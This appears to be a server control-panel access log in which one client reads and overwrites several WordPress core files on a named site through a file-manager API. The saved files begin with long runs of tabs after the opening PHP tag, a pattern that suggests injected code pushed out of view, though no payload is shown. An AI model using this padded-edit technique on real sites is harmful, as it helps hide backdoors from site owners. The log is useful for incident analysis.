shouldn\\'t. This value\\n\\t * only reports if the flag is present in the original HTML.\\n\\t *\\n\\t * @since 6.4.0\\n\\t *\\n\\t * @see https://html.spec.whatwg.org/#self-closing-flag\\n\\t *\\n\\t * @var bool\\n\\t */\\n\\tpublic $has_self_closing_flag = false;\\n\\n\\t/**\\n\\t * Indicates if the element is an HTML element or if it\\'s inside foreign content.\\n\\t *\\n\\t * @since 6.7.0\\n\\t *\\n\\t * @var string \\'html\\', \\'svg\\', or \\'math\\'.\\n\\t */\\n\\tpublic $namespace = \\'html\\';\\n\\n\\t/**\\n\\t * Indicates which kind of integration point the element is, if any.\\n\\t *\\n\\t * @since 6.7.0\\n\\t *\\n\\t * @var string|null \\'math\\', \\'html\\', or null if not an integration point.\\n\\t */\\n\\tpublic $integration_node_type = null;\\n\\n\\t/**\\n\\t * Called when token is garbage-collected or otherwise destroyed.\\n\\t *\\n\\t * @var callable|null\\n\\t */\\n\\tpublic $on_destroy = null;\\n\\n\\t/**\\n\\t * Constructor - creates a reference to a token in some external HTML string.\\n\\t *\\n\\t * @since 6.4.0\\n\\t *\\n\\t * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,\\n\\t *                                             or `null` for markers and nodes without a bookmark.\\n\\t * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like \"marker\".\\n\\t * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it\\'s valid.\\n\\t * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.\\n\\t */\\n\\tpublic function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {\\n\\t\\t$this->bookmark_name         = $bookmark_name;\\n\\t\\t$this->namespace             = \\'html\\';\\n\\t\\t$this->node_name             = $node_name;\\n\\t\\t$this->has_self_closing_flag = $has_self_closing_flag;\\n\\t\\t$this->on_destroy            = $on_destroy;\\n\\t}\\n\\n\\t/**\\n\\t * Destructor.\\n\\t *\\n\\t * @since 6.4.0\\n\\t */\\n\\tpublic function __destruct() {\\n\\t\\tif ( is_callable( $this->on_destroy ) ) {\\n\\t\\t\\tcall_user_func( $this->on_destroy, $this->bookmark_name );\\n\\t\\t}\\n\\t}\\n\\n\\t/**\\n\\t * Wakeup magic method.\\n\\t *\\n\\t * @since 6.4.2\\n\\t */\\n\\tpublic function __wakeup() {\\n\\t\\tthrow new \\\\LogicException( __CLASS__ . \\' should never be unserialized\\' );\\n\\t}\\n}\\n'}", 23, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:54", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-wp-term.php'}", 2, 200, 1841, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:15:58", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-wp-term.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\n/**\\n * Taxonomy API: WP_Term class\\n *\\n * @package WordPress\\n * @subpackage Taxonomy\\n * @since 4.4.0\\n */\\n\\n/**\\n * Core class used to implement the WP_Term object.\\n *\\n * @since 4.4.0\\n *\\n * @property-read object $data Sanitized term data.\\n */\\n#[AllowDynamicProperties]\\nfinal class WP_Term {\\n\\n\\t/**\\n\\t * Term ID.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var int\\n\\t */\\n\\tpublic $term_id;\\n\\n\\t/**\\n\\t * The term's name.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var string\\n\\t */\\n\\tpublic $name = '';\\n\\n\\t/**\\n\\t * The term's slug.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var string\\n\\t */\\n\\tpublic $slug = '';\\n\\n\\t/**\\n\\t * The term's term_group.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var int\\n\\t */\\n\\tpublic $term_group = '';\\n\\n\\t/**\\n\\t * Term Taxonomy ID.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var int\\n\\t */\\n\\tpublic $term_taxonomy_id = 0;\\n\\n\\t/**\\n\\t * The term's taxonomy name.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var string\\n\\t */\\n\\tpublic $taxonomy = '';\\n\\n\\t/**\\n\\t * The term's description.\\n\\t *\\n\\t * @since 4.4.0\\n\\t * @var string\\n\\t */\\n\\tpublic $description = '';\\n\\n\\t/**\\n\\t * ID of a term's parent term.\\n\\t *\\n\\t * -- >4096\"}", 12, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:01", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/pomo/mo.php'}", 3, 200, 2665, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:04", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/pomo/mo.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\n/**\\n * Class for working with MO files\\n *\\n * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $\\n * @package pomo\\n * @subpackage mo\\n */\\n\\nrequire_once __DIR__ . '/translations.php';\\nrequire_once __DIR__ . '/streams.php';\\n\\nif ( ! class_exists( 'MO', false ) ) :\\n\\tclass MO extends Gettext_Translations {\\n\\n\\t\\t/**\\n\\t\\t * Number of plural forms.\\n\\t\\t *\\n\\t\\t * @var int\\n\\t\\t */\\n\\t\\tpublic $_nplurals = 2;\\n\\n\\t\\t/**\\n\\t\\t * Loaded MO file.\\n\\t\\t *\\n\\t\\t * @var string\\n\\t\\t */\\n\\t\\tprivate $filename = '';\\n\\n\\t\\t/**\\n\\t\\t * Returns the loaded MO file.\\n\\t\\t *\\n\\t\\t * @return string The loaded MO file.\\n\\t\\t */\\n\\t\\tpublic function get_filename() {\\n\\t\\t\\treturn $this->filename;\\n\\t\\t}\\n\\n\\t\\t/**\\n\\t\\t * Fills up with the entries from MO file $filename\\n\\t\\t *\\n\\t\\t * @param string $filename MO file to load\\n\\t\\t * @return bool True if the import from file was successful, otherwise false.\\n\\t\\t */\\n\\t\\tpublic function import_from_file( $filename ) {\\n\\t\\t\\t$reader = new POMO_FileReader( $filename );\\n\\n\\t\\t\\tif ( ! $reader->is_resource() ) {\\n\\t\\t\\t\\treturn false;\\n\\t\\t\\t}\\n -- >4096\"}", 196, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:06", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/theme.php'}", 4, 200, 11491, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:13", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/includes/theme.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\n\\n/**\\n * WordPress Theme Administration API\\n *\\n * @package WordPress\\n * @subpackage Administration\\n */\\n\\n/**\\n * Removes a theme.\\n *\\n * @since 2.8.0\\n *\\n * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.\\n *\\n * @param string $stylesheet Stylesheet of the theme to delete.\\n * @param string $redirect   Redirect to page when complete.\\n * @return bool|null|WP_Error True on success, false if `$stylesheet` is empty, WP_Error on failure.\\n *                            Null if filesystem credentials are required to proceed.\\n */\\nfunction delete_theme( $stylesheet, $redirect = '' ) {\\n\\tglobal $wp_filesystem;\\n\\n\\tif ( empty( $stylesheet ) ) {\\n\\t\\treturn false;\\n\\t}\\n\\n\\tif ( empty( $redirect ) ) {\\n\\t\\t$redirect = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );\\n\\t}\\n\\n\\tob_start();\\n\\t$credentials = request_filesystem_credentials( $redirect );\\n\\t$data        = ob_get_clean();\\n\\n\\tif ( false === $credentials ) {\\n\\t\\tif ( ! empty( $data ) ) {\\n\\t\\t\\trequire_on -- >4096\"}", 891, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:16", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/site-health.php'}", 4, 200, 3920, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:20", "114.219.182.210:48864", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-admin/site-health.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\t\\t\\t\\t\\t\\t\\t\\n\\n/**\\n * Tools Administration Screen.\\n *\\n * @package WordPress\\n * @subpackage Administration\\n */\\n\\n/** WordPress Administration Bootstrap */\\nrequire_once __DIR__ . '/admin.php';\\n\\n$action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';\\n\\n$tabs = array(\\n\\t/* translators: Tab heading for Site Health Status page. */\\n\\t''      => _x( 'Status', 'Site Health' ),\\n\\t/* translators: Tab heading for Site Health Info page. */\\n\\t'debug' => _x( 'Info', 'Site Health' ),\\n);\\n\\n/**\\n * Filters the extra tabs for the Site Health navigation bar.\\n *\\n * Add a custom page to the Site Health screen, based on a tab slug and label.\\n * The label you provide will also be used as part of the site title.\\n *\\n * @since 5.8.0\\n *\\n * @param string[] $tabs An associative array of tab labels keyed by their slug.\\n */\\n$tabs = apply_filters( 'site_health_navigation_tabs', $tabs );\\n\\n$wrapper_classes = array(\\n\\t'health-check-tabs-wrapper',\\n\\t'hide-if-no-js',\\n\\t'tab-count-' . count( $tabs ),\\n);\\n\\n$current_tab = ( i -- >4096\"}", 1217, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:24", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor-pro/vendor_prefixed/php-di/invoker/src/ParameterResolver/DefaultValueResolver.php'}", 2, 200, 596, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:28", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/svg-sanitizer/includes/phpunit/phpunit/src/Framework/Assert.php'}", 4, 200, 9329, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:36", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/svg-sanitizer/includes/phpunit/phpunit/src/Framework/TestBuilder.php'}", 2, 200, 1613, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:40", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/svg-sanitizer/includes/phpunit/phpunit/src/TextUI/Command.php'}", 5, 200, 7272, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:44", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/svg-sanitizer/includes/phpunit/phpunit/src/TextUI/Command.php'}", 3, 200, 7272, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:48", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/svg-sanitizer/includes/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php'}", 2, 200, 2685, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:52", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/library/php-parser/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php'}", 2, 200, 939, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:56", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/library/php-parser/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/NumericLiteralSeparatorEmulator.php'}", 2, 200, 1284, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:16:59", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/file-manager-advanced/application/library/php-parser/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/NumericLiteralSeparatorEmulator.php'}", 2, 200, 1284, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:03", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/google-listings-and-ads/vendor/phpseclib/phpseclib/phpseclib/File/ASN1/Maps/TBSCertificate.php'}", 3, 200, 833, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:06", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/elementor/vendor_prefixed/twig/twig/twig/src/Environment.php'}", 3, 200, 5704, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:09", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/essential-addons-for-elementor-lite/includes/Traits/Facebook_Feed.php'}", 4, 200, 3199, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:49239", "GET", "/soft/static/js/index68.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 310, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48864", "GET", "/soft/static/js/index69.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 3022, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:49239", "GET", "/soft/static/js/index.vue_vue_type_style_index_0_scoped_cdc7f4d3_lang.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48910", "GET", "/soft/static/js/index134.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1619, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48864", "GET", "/soft/static/js/index120.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1188, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48914", "GET", "/soft/static/js/index.vue_vue_type_script_setup_true_lang6.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1072, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48909", "GET", "/soft/static/js/site.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 11664, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:19", "114.219.182.210:48915", "GET", "/soft/static/js/index143.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 447, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:49239", "GET", "/soft/static/js/useController6.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 4390, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48910", "GET", "/soft/static/js/useStore4.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1771, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48909", "GET", "/soft/static/js/useController5.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 5029, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48864", "GET", "/soft/static/js/index133.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 720, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48914", "GET", "/soft/static/js/index127.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1050, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48915", "GET", "/soft/static/js/useMethod5.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 2159, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:20", "114.219.182.210:48864", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 47, 200, 1658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:48909", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 5, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:49239", "GET", "/soft/static/js/index358.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 3447, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:48910", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'name': 'web'}", 3, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:48909", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 9, 200, 486, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:48910", "GET", "/soft/static/js/index208.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 822, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:21", "114.219.182.210:48914", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 23, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48915", "GET", "/soft/static/js/index37.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 17038, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48910", "GET", "/soft/static/js/vue-virtual-scroller.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48914", "GET", "/soft/static/js/vue-virtual-scroller.esm.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 5555, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:49239", "GET", "/soft/static/js/default.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 2249, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48864", "GET", "/soft/static/js/files.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1579, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48909", "GET", "/soft/static/js/file-icon.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 1, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:23", "114.219.182.210:48915", "GET", "/soft/static/js/store.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 50079, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:28", "114.219.182.210:48915", "GET", "/soft/static/js/store2.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 3952, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:35", "114.219.182.210:48915", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 79, 200, 1658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:35", "114.219.182.210:49239", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 9, 200, 994, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:35", "114.219.182.210:48909", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'status': '-3'}", 38, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:35", "114.219.182.210:48864", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 31, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:36", "114.219.182.210:48915", "GET", "/soft/static/js/index118.js?v=1760490724", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 27, 200, 6171, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:36", "114.219.182.210:48910", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 112, 200, 321, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:17:36", "114.219.182.210:49239", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 7, 200, 994, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
